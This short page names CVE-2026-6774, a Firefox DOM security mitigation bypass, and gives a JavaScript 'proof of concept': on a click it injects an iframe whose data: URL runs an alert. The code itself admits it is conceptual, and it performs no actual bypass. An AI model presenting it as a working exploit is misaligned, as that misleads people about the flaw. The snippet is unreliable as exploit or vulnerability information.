CVE-2026-6774 Mozilla DOM安全缓解措施绕过漏洞

// Proof of Concept for CVE-2026-6774 // This script demonstrates a conceptual DOM security mitigation bypass. // Note: Actual exploitation depends on the specific bypass mechanism in Firefox < 150. function triggerBypass() { // 1. Create a malicious DOM element var maliciousElement = document.createElement('iframe'); // 2. Attempt to set a source that would normally be blocked by security policies // This simulates the bypass of the security check maliciousElement.src = "data:text/html,<script>alert('Bypass Successful')</script>"; // 3. Append to DOM to trigger the vulnerability document.body.appendChild(maliciousElement); // 4. Verify if the mitigation was bypassed (e.g., accessing cross-origin data) console.log("Attempting to access restricted data..."); } // Execute the function when the user interacts with the page document.addEventListener('click', triggerBypass);
